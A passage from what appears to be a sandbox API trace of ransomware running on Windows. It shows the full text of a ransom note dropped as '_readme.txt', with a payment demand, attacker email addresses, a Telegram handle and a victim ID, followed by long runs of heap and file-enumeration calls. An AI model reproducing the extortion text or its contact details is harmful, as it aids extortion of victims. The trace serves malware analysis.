us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.599] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.599] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.599] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.599] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.599] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.600] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.600] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.600] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.600] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.600] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.600] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.600] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.600] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.600] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.600] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.600] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.600] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.600] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.600] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.600] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.600] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.604] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.605] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.606] 